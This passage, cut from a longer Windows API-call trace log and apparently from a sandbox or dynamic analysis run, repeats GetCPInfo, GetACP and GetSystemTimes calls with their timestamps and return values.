lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.210] GetACP () returned 0x4e4 [0052.210] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.211] GetACP () returned 0x4e4 [0052.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.212] GetACP () returned 0x4e4 [0052.212] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.213] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.213] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.214] GetACP () returned 0x4e4 [0052.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.215] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.215] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.216] GetACP () returned 0x4e4 [0052.216] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.217] GetACP () returned 0x4e4 [0052.217] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.218] GetACP () returned 0x4e4 [0052.218] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.218] GetACP () returned 0x4e4 [0052.218] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.270] GetACP () returned 0x4e4 [0052.270] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.346] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.346] GetACP () returned 0x4e4 [0052.346] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | 